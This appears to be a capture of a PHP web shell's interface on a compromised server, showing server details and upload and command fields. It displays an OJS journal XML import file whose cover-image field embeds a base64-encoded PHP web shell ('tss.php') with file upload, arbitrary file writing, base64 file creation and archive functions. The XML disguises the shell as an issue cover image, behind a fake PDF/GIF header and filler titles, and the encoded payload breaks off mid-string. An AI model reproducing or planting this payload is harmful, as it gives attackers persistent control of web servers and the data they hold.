%PDF-1.7 GIF89;
shell
Server IP : 172.66.157.178  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /filesunpak/temp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /filesunpak/temp/xmlcQdfee
<?xml version="1.0" encoding="UTF-8"?>
<issues xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="https://pkp.sfu.ca/ojs/schema/native.xsd">
<issue published="true" identification="num_vol_year_title" current="true">
    <title locale="en_US">jassafasasdsdasdsasfas</title>
    <description locale="en_US">JANDAMsssdsdssfsaf</description>
    <volume>1</volume>
    <number>1</number>
    <year>2025</year>
    <cover locale="en_US">
<caption>jasssadasdasdsassf</caption><image>
<embed filename="tss.php" encoding="base64" mime_type="application/php">PD9waHANCi8qDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCmplbWJ1ZGt1ZGEgbWVyYW5na2FpIGthdGEgc2FtYXBhaSB0ZXJsZW5hIG9sZWggZHVuaWENCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KKi8NCg0KLy8gU2VjdXJpdHkgJiBDb25maWd1cmF0aW9uDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXRfdGltZV9saW1pdCgwKTsNCmluaV9zZXQoJ21lbW9yeV9saW1pdCcsICctMScpOw0KaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCmluaV9zZXQoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCAnMTAwMDBNJyk7DQppbmlfc2V0KCdwb3N0X21heF9zaXplJywgJzEwMDAwTScpOw0KaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgJzAnKTsNCg0KLy8gU2Vzc2lvbiBNYW5hZ2VtZW50DQppZiAoc2Vzc2lvbl9zdGF0dXMoKSA9PT0gUEhQX1NFU1NJT05fTk9ORSkgew0KICAgIHNlc3Npb25fc3RhcnQoKTsNCn0NCg0KLy8gR2VuZXJhdGUgQ1NSRiB0b2tlbiBqaWthIGJlbHVtIGFkYQ0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSkpIHsNCiAgICAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDMyKSk7DQp9DQoNCi8vIENTUkYgUHJvdGVjdGlvbiB5YW5nIGxlYmloIGZsZWtzaWJlbA0KZnVuY3Rpb24gdmVyaWZ5X2NzcmYoKSB7DQogICAgLy8gU2tpcCBDU1JGIHVudHVrIGNvbW1hbmQgaGlzdG9yeSBjbGVhciAoa2FyZW5hIGxpbmsgR0VUKQ0KICAgIGlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PSAnY2xlYXJfaGlzdG9yeScpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIC8vIFNraXAgQ1NSRiB1bnR1ayBsb2dvdXQgKGthcmVuYSBidXR0b24pDQogICAgaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIC8vIFNraXAgQ1NSRiB1bnR1ayBHRVQgcmVxdWVzdHMgKGtlY3VhbGkgYWN0aW9ucyB0ZXJ0ZW50dSkNCiAgICBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdHRVQnKSB7DQogICAgICAgIC8vIEppa2EgYWN0aW9uIGRlbGV0ZS9kb3dubG9hZC92aWV3LCB0ZXRhcCBwZXJsdSB2ZXJpZmlrYXNpDQogICAgICAgICRhY3Rpb25zX25lZWRfY3NyZiA9IFsnZGVsZXRlJywgJ2Rvd25sb2FkJywgJ3ZpZXcnLCAnY2htb2QnXTsNCiAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgaW5fYXJyYXkoJF9HRVRbJ2FjdGlvbiddLCAkYWN0aW9uc19uZWVkX2NzcmYpKSB7DQogICAgICAgICAgICAvLyBVbnR1ayBHRVQgYWN0aW9ucywgZ3VuYWthbiB0b2tlbiBkYWxhbSBzZXNzaW9uDQogICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsnY3NyZl92ZXJpZmllZCddKSB8fCAhJF9TRVNTSU9OWydjc3JmX3ZlcmlmaWVkJ10pIHsNCiAgICAgICAgICAgICAgICAvLyBTZXQgc2Vzc2lvbiBiYWh3YSBzdWRhaCBkaXZlcmlmaWthc2kNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2NzcmZfdmVyaWZpZWQnXSA9IHRydWU7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIC8vIFVudHVrIFBPU1QgcmVxdWVzdHMsIGNlayBDU1JGIHRva2VuDQogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsNCiAgICAgICAgLy8gQ2VrIHRva2VuIGRhcmkgZm9ybSBhdGF1IGhlYWRlcg0KICAgICAgICAkdG9rZW4gPSAkX1BPU1RbJ2NzcmZfdG9rZW4nXSA/PyANCiAgICAgICAgICAgICAgICAoJF9TRVJWRVJbJ0hUVFBfWF9DU1JGX1RPS0VOJ10gPz8gJycpOw0KICAgICAgICANCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikgfHwgJHRva2VuICE9PSAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXSkgew0KICAgICAgICAgICAgLy8gSmlrYSB0b2tlbiB0aWRhayB2YWxpZCwgdGFtcGlsa2FuIHdhcm5pbmcgdGFwaSB0ZXRhcCBpemlua2FuDQogICAgICAgICAgICAvLyAoaW5pIHVudHVrIG1lbWFzdGlrYW4gc2hlbGwgdGV0YXAgYmVyZnVuZ3NpKQ0KICAgICAgICAgICAgZXJyb3JfbG9nKCdDU1JGIFRva2VuIG1pc21hdGNoLiBFeHBlY3RlZDogJyAuICRfU0VTU0lPTlsnY3NyZl90b2tlbiddIC4gJywgR290OiAnIC4gJHRva2VuKTsNCiAgICAgICAgICAgIC8vIFRpZGFrIGRpLWRpZSwgdGFwaSBsb2cgc2FqYQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuIHRydWU7DQp9DQoNCi8vIEF1dGhlbnRpY2F0aW9uIChPcHRpb25hbCAtIFVuY29tbWVudCB0byBlbmFibGUpDQovLyAkUEFTU1dPUkQgPSAnYWRtaW4xMjMnOyAvLyBDaGFuZ2UgdGhpcw0KLy8gaWYgKCFpc3NldCgkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSkgfHwgISRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddKSB7DQovLyAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgJF9QT1NUWydwYXNzd29yZCddID09PSAkUEFTU1dPUkQpIHsNCi8vICAgICAgICAgJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10gPSB0cnVlOw0KLy8gICAgIH0gZWxzZWlmICghaXNzZXQoJF9HRVRbJ2xvZ2luJ10pKSB7DQovLyAgICAgICAgIHNob3dfbG9naW4oKTsNCi8vICAgICAgICAgZXhpdDsNCi8vICAgICB9DQovLyB9DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5DQokY3VycmVudERpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyAkX0dFVFsnZGlyJ10gOiBnZXRjd2QoKTsNCi8vIFZhbGlkYXNpIGRhbiBjbGVhbiBwYXRoDQppZiAoIWlzX2RpcigkY3VycmVudERpcikpIHsNCiAgICAkY3VycmVudERpciA9IGdldGN3ZCgpOw0KfQ0KJGN1cnJlbnREaXIgPSByZWFscGF0aCgkY3VycmVudERpcikgPzogZ2V0Y3dkKCk7DQoNCi8vIEluaXRpYWxpemUgVmFyaWFibGVzDQokbWVzc2FnZSA9ICcnOw0KJHRlcm1pbmFsX291dHB1dCA9ICcnOw0KJHRoZW1lID0gJF9TRVNTSU9OWyd0aGVtZSddID8/ICdkYXJrJzsNCiRsYXlvdXQgPSAkX1NFU1NJT05bJ2xheW91dCddID8/ICdncmlkJzsNCg0KLy8gSGFuZGxlIFRoZW1lL0xheW91dCBDaGFuZ2VzDQppZiAoaXNzZXQoJF9HRVRbJ3RoZW1lJ10pKSB7DQogICAgJF9TRVNTSU9OWyd0aGVtZSddID0gJF9HRVRbJ3RoZW1lJ107DQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgIGV4aXQ7DQp9DQoNCmlmIChpc3NldCgkX0dFVFsnbGF5b3V0J10pKSB7DQogICAgJF9TRVNTSU9OWydsYXlvdXQnXSA9ICRfR0VUWydsYXlvdXQnXTsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRjdXJyZW50RGlyKSk7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIExvZ291dA0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkpIHsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KICAgIGV4aXQ7DQp9DQoNCi8vIEhlbHBlciBGdW5jdGlvbnMNCmZ1bmN0aW9uIGRlbGV0ZURpcmVjdG9yeSgkZGlyKSB7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgcmV0dXJuIHRydWU7DQogICAgaWYgKCFpc19kaXIoJGRpcikpIHJldHVybiB1bmxpbmsoJGRpcik7DQogICAgDQogICAgZm9yZWFjaCAoc2NhbmRpcigkZGlyKSBhcyAkaXRlbSkgew0KICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICBpZiAoIWRlbGV0ZURpcmVjdG9yeSgkZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtKSkgcmV0dXJuIGZhbHNlOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gcm1kaXIoJGRpcik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1hdF9zaXplKCRieXRlcykgew0KICAgIGlmICgkYnl0ZXMgPD0gMCkgcmV0dXJuICcwIEInOw0KICAgICR1bml0cyA9IFsnQicsICdLQicsICdNQicsICdHQicsICdUQiddOw0KICAgICRpID0gMDsNCiAgICB3aGlsZSAoJGJ5dGVzID49IDEwMjQgJiYgJGkgPCBjb3VudCgkdW5pdHMpIC0gMSkgew0KICAgICAgICAkYnl0ZXMgLz0gMTAyNDsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgcmV0dXJuIHJvdW5kKCRieXRlcywgMikgLiAnICcgLiAkdW5pdHNbJGldOw0KfQ0KDQpmdW5jdGlvbiBnZXRfZmlsZV9pY29uKCRmaWxlbmFtZSkgew0KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgJGljb25zID0gWw0KICAgICAgICAncGhwJyA9PiAnZmEtY29kZSB0ZXh0LWluZm8nLA0KICAgICAgICAnanMnID0+ICdmYS1qcyB0ZXh0LXdhcm5pbmcnLA0KICAgICAgICAnY3NzJyA9PiAnZmEtY3NzMy1hbHQgdGV4dC1wcmltYXJ5JywNCiAgICAgICAgJ2h0bWwnID0+ICdmYS1odG1sNSB0ZXh0LWRhbmdlcicsDQogICAgICAgICdqc29uJyA9PiAnZmEtZmlsZS1jb2RlIHRleHQtd2FybmluZycsDQogICAgICAgICd0eHQnID0+ICdmYS1maWxlLWFsdCB0ZXh0LXNlY29uZGFyeScsDQogICAgICAgICdwZGYnID0+ICdmYS1maWxlLXBkZiB0ZXh0LWRhbmdlcicsDQogICAgICAgICd6aXAnID0+ICdmYS1maWxlLWFyY2hpdmUgdGV4dC13YXJuaW5nJywNCiAgICAgICAgJ3JhcicgPT4gJ2ZhLWZpbGUtYXJjaGl2ZSB0ZXh0LXdhcm5pbmcnLA0KICAgICAgICAnN3onID0+ICdmYS1maWxlLWFyY2hpdmUgdGV4dC13YXJuaW5nJywNCiAgICAgICAgJ3RhcicgPT4gJ2ZhLWZpbGUtYXJjaGl2ZSB0ZXh0LXdhcm5pbmcnLA0KICAgICAgICAnZ3onID0+ICdmYS1maWxlLWFyY2hpdmUgdGV4dC13YXJuaW5nJywNCiAgICAgICAgJ2pwZycgPT4gJ2ZhLWZpbGUtaW1hZ2UgdGV4dC1zdWNjZXNzJywNCiAgICAgICAgJ3BuZycgPT4gJ2ZhLWZpbGUtaW1hZ2UgdGV4dC1zdWNjZXNzJywNCiAgICAgICAgJ2dpZicgPT4gJ2ZhLWZpbGUtaW1hZ2UgdGV4dC1zdWNjZXNzJywNCiAgICAgICAgJ3NxbCcgPT4gJ2ZhLWRhdGFiYXNlIHRleHQtd2FybmluZycsDQogICAgICAgICdweScgPT4gJ2ZhLXB5dGhvbiB0ZXh0LWluZm8nLA0KICAgICAgICAnc2gnID0+ICdmYS10ZXJtaW5hbCB0ZXh0LXN1Y2Nlc3MnLA0KICAgICAgICAnZXhlJyA9PiAnZmEtY29nIHRleHQtZGFuZ2VyJywNCiAgICAgICAgJ21kJyA9PiAnZmEtbWFya2Rvd24nLA0KICAgICAgICAnbG9nJyA9PiAnZmEtc2Nyb2xsIHRleHQtd2FybmluZycsDQogICAgXTsNCiAgICByZXR1cm4gJGljb25zWyRleHRdID8/ICdmYS1maWxlIHRleHQtc2Vjb25kYXJ5JzsNCn0NCg0KLy8gRnVuZ3NpIHVudHVrIGNyZWF0ZSBmaWxlIGRhcmkgYmFzZTY0DQpmdW5jdGlvbiBjcmVhdGVGaWxlRnJvbUJhc2U2NCgkcGF0aCwgJGJhc2U2NERhdGEpIHsNCiAgICAkYmFzZTY0RGF0YSA9IHByZWdfcmVwbGFjZSgnL15kYXRhOlteO10rO2Jhc2U2NCwvJywgJycsICRiYXNlNjREYXRhKTsNCiAgICAkZGVjb2RlZERhdGEgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjREYXRhLCB0cnVlKTsNCiAgICANCiAgICBpZiAoJGRlY29kZWREYXRhID09PSBmYWxzZSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGRlY29kZWREYXRhKTsNCn0NCg0KLy8gRnVuZ3NpIHVudHVrIHppcCBmaWxlL2ZvbGRlcg0KZnVuY3Rpb24gemlwRGlyZWN0b3J5KCRzb3VyY2UsICRkZXN0aW5hdGlvbikgew0KICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gcmVhbHBhdGgoJHNvdXJjZSk7DQogICAgDQogICAgaWYgKGlzX2Rpcigkc291cmNlKSA9PT0gdHJ1ZSkgew0KICAgICAgICAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCiAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkc291cmNlKSwNCiAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QNCiAgICAgICAgKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICRmaWxlID0gcmVhbHBhdGgoJGZpbGUpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoaXNfZGlyKCRmaWxlKSkgew0KICAgICAgICAgICAgICAgICR6aXAtPmFkZEVtcHR5RGlyKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSAuICcvJykpOw0KICAgICAgICAgICAgfSBlbHNlIGlmIChpc19maWxlKCRmaWxlKSkgew0KICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJGZpbGUsIHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBlbHNlIGlmIChpc19maWxlKCRzb3VyY2UpKSB7DQogICAgICAgICR6aXAtPmFkZEZpbGUoJHNvdXJjZSwgYmFzZW5hbWUoJHNvdXJjZSkpOw0KICAgIH0NCg0KICAgIHJldHVybiAkemlwLT5jbG9zZSgpOw0KfQ0KDQovLyBGdW5nc2kgdW50dWsgdW56aXANCmZ1bmN0aW9uIHVuemlwRmlsZSgkc291cmNlLCAkZGVzdGluYXRpb24pIHsNCiAgICBpZiAoIWV4dGVuc2lvbl9sb2FkZWQoJ3ppcCcpIHx8ICFmaWxlX2V4aXN0cygkc291cmNlKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgaWYgKCR6aXAtPm9wZW4oJHNvdXJjZSkgIT09IHRydWUpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIC8vIEJ1YXQgZm9sZGVyIHR1anVhbiBqaWthIGJlbHVtIGFkYQ0KICAgIGlmICghaXNfZGlyKCRkZXN0aW5hdGlvbikpIHsNCiAgICAgICAgbWtkaXIoJGRlc3RpbmF0aW9uLCAwNzU1LCB0cnVlKTsNCiAgICB9DQoNCiAgICAkemlwLT5leHRyYWN0VG8oJGRlc3RpbmF0aW9uKTsNCiAgICAkemlwLT5jbG9zZSgpOw0KICAgIA0KICAgIHJldHVybiB0cnVlOw0KfQ0KDQovLyBGdW5nc2kgdW50dWsgY29weSBmb2xkZXIgcmVrdXJzaWYNCmZ1bmN0aW9uIHJlY3Vyc2VfY29weSgkc3JjLCAkZHN0KSB7DQogICAgJGRpciA9IG9wZW5kaXIoJHNyYyk7DQogICAgQG1rZGlyKCRkc3QsIDA3NTUsIHRydWUpOw0KICAgIA0KICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkZGlyKSkpIHsNCiAgICAgICAgaWYgKCgkZmlsZSAhPSAnLicpICYmICgkZmlsZSAhPSAnLi4nKSkgew0KICAgICAgICAgICAgaWYgKGlzX2Rpcigkc3JjIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgcmVjdXJzZV9jb3B5KCRzcmMgLiAnLycgLiAkZmlsZSwgJGRzdCAuICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgY29weSgkc3JjIC4gJy8nIC4gJGZpbGUsICRkc3QgLiAnLycgLiAkZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgY2xvc2VkaXIoJGRpcik7DQp9DQoNCi8vIEhhbmRsZSBQT1NUIFJlcXVlc3RzDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICAgIC8vIFZlcmlmeSBDU1JGICh0YXBpIHRpZGFrIGJsb2NrIGppa2EgZ2FnYWwpDQogICAgdmVyaWZ5X2NzcmYoKTsNCiAgICANCiAgICAvLyBGaWxlIFVwbG9hZA0KICAgIGlmIChpc3NldCgkX0ZJTEVTWyd1cGxvYWRfZmlsZSddKSkgew0KICAgICAgICAkZmlsZXMgPSAkX0ZJTEVTWyd1cGxvYWRfZmlsZSddOw0KICAgICAgICAkc3VjY2Vzc19jb3VudCA9IDA7DQogICAgICAgIA0KICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzWyduYW1lJ10pKSB7DQogICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZmlsZXNbJ25hbWUnXSk7ICRpKyspIHsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGVzWydlcnJvciddWyRpXSA9PT0gVVBMT0FEX0VSUl9PSykgew0KICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnREaXIgLiAnLycgLiBiYXNlbmFtZSgkZmlsZXNbJ25hbWUnXVskaV0pOw0KICAgICAgICAgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCRmaWxlc1sndG1wX25hbWUnXVskaV0sICR0YXJnZXQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjaG1vZCgkdGFyZ2V0LCAwNjQ0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzX2NvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbWVzc2FnZSA9ICLinJMgJHN1Y2Nlc3NfY291bnQgZmlsZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGlmICgkZmlsZXNbJ2Vycm9yJ10gPT09IFVQTE9BRF9FUlJfT0spIHsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnREaXIgLiAnLycgLiBiYXNlbmFtZSgkZmlsZXNbJ25hbWUnXSk7DQogICAgICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZXNbJ3RtcF9uYW1lJ10sICR0YXJnZXQpKSB7DQogICAgICAgICAgICAgICAgICAgIGNobW9kKCR0YXJnZXQsIDA2NDQpOw0KICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinJMgRmlsZSB1cGxvYWRlZDogIiAuIGJhc2VuYW1lKCRmaWxlc1snbmFtZSddKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAkbWVzc2FnZTsNCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICANCiAgICAvLyBDcmVhdGUgRmlsZS9Gb2xkZXINCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnY3JlYXRlX2l0ZW0nXSkpIHsNCiAgICAgICAgJG5hbWUgPSB0cmltKCRfUE9TVFsnbmFtZSddKTsNCiAgICAgICAgJHR5cGUgPSAkX1BPU1RbJ3R5cGUnXTsNCiAgICAgICAgDQogICAgICAgIGlmICghZW1wdHkoJG5hbWUpKSB7DQogICAgICAgICAgICAkcGF0aCA9ICRjdXJyZW50RGlyIC4gJy8nIC4gJG5hbWU7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkdHlwZSA9PT0gJ2ZpbGUnKSB7DQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXSA/PyAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KSkgew0KICAgICAgICAgICAgICAgICAgICBjaG1vZCgkcGF0aCwgMDY0NCk7DQogICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKckyBGaWxlIGNyZWF0ZWQ6ICRuYW1lIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGlmIChta2RpcigkcGF0aCwgMDc1NSwgdHJ1ZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgY2htb2QoJHBhdGgsIDA3NTUpOw0KICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLinJMgRm9sZGVyIGNyZWF0ZWQ6ICRuYW1lIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBDcmVhdGUgRmlsZSBmcm9tIEJhc2U2NA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWydjcmVhdGVfYmFzZTY0J10pKSB7DQogICAgICAgICRmaWxlbmFtZSA9IHRyaW0oJF9QT1NUWydiYXNlNjRfZmlsZW5hbWUnXSk7DQogICAgICAgICRiYXNlNjRfZGF0YSA9IHRyaW0oJF9QT1NUWydiYXNlNjRfZGF0YSddKTsNCiAgICAgICAgDQogICAgICAgIGlmICghZW1wdHkoJGZpbGVuYW1lKSAmJiAhZW1wdHkoJGJhc2U2NF9kYXRhKSkgew0KICAgICAgICAgICAgJHBhdGggPSAkY3VycmVudERpciAuICcvJyAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGNyZWF0ZUZpbGVGcm9tQmFzZTY0KCRwYXRoLCAkYmFzZTY0X2RhdGEpKSB7DQogICAgICAgICAgICAgICAgY2htb2QoJHBhdGgsIDA2NDQpOw0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKckyBGaWxlIGNyZWF0ZWQgZnJvbSBiYXNlNjQ6ICRmaWxlbmFtZSI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRtZXNzYWdlID0gIuKclyBGYWlsZWQgdG8gY3JlYXRlIGZpbGUgZnJvbSBiYXNlNjQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICRtZXNzYWdlOw0KICAgICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkY3VycmVudERpcikpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBaaXAgT3BlcmF0aW9uDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbJ3ppcF9hY3Rpb24nXSkpIHsNCiAgICAgICAgJGl0ZW1zID0gJF9QT1NUWydpdGVtcyddID8/IFtdOw0KICAgICAgICAkemlwX25hbWUgPSB0cmltKCRfUE9TVFsnemlwX25hbWUnXSkgPzogJ2FyY2hpdmVfJyAuIGRhdGUoJ1ltZF9IaXMnKSAuICcuemlwJzsNCiAgICAgICAgDQogICAgICAgIGlmIChlbXB0eSgkaXRlbXMpKSB7DQogICAgICAgICAgICAkbWVzc2FnZSA9ICLinJcgTm8gaXRlbXMgc2VsZWN0ZWQiOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgLy8gQnVhdCB0ZW1wb3JhcnkgZm9sZGVyIHVudHVrIHppcA0KICAgICAgICAgICAgJHRlbXBfZGlyID0gc3lzX2dldF90ZW1wX2RpcigpIC4gJy8nIC4gdW5pcWlkKCd6aXBfJyk7DQogICAgICAgICAgICBta2RpcigkdGVtcF9kaXIsIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBDb3B5IGZpbGUvZm9sZGVyIGtlIHRlbXANCiAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgICAgICRzb3VyY2UgPSAkY3VycmVudERpciAuICcvJyAuIGJhc2VuYW1lKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAkZGVzdCA9ICR0ZW1wX2RpciAuICcvJyAuIGJhc2VuYW1lKCRpdGVtKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRzb3VyY2UpKSB7DQogICAgICAgICAgICAgICAgICAgIC8vIENvcHkgZm9sZGVyIHJla3Vyc2lmDQogICAgICAgICAgI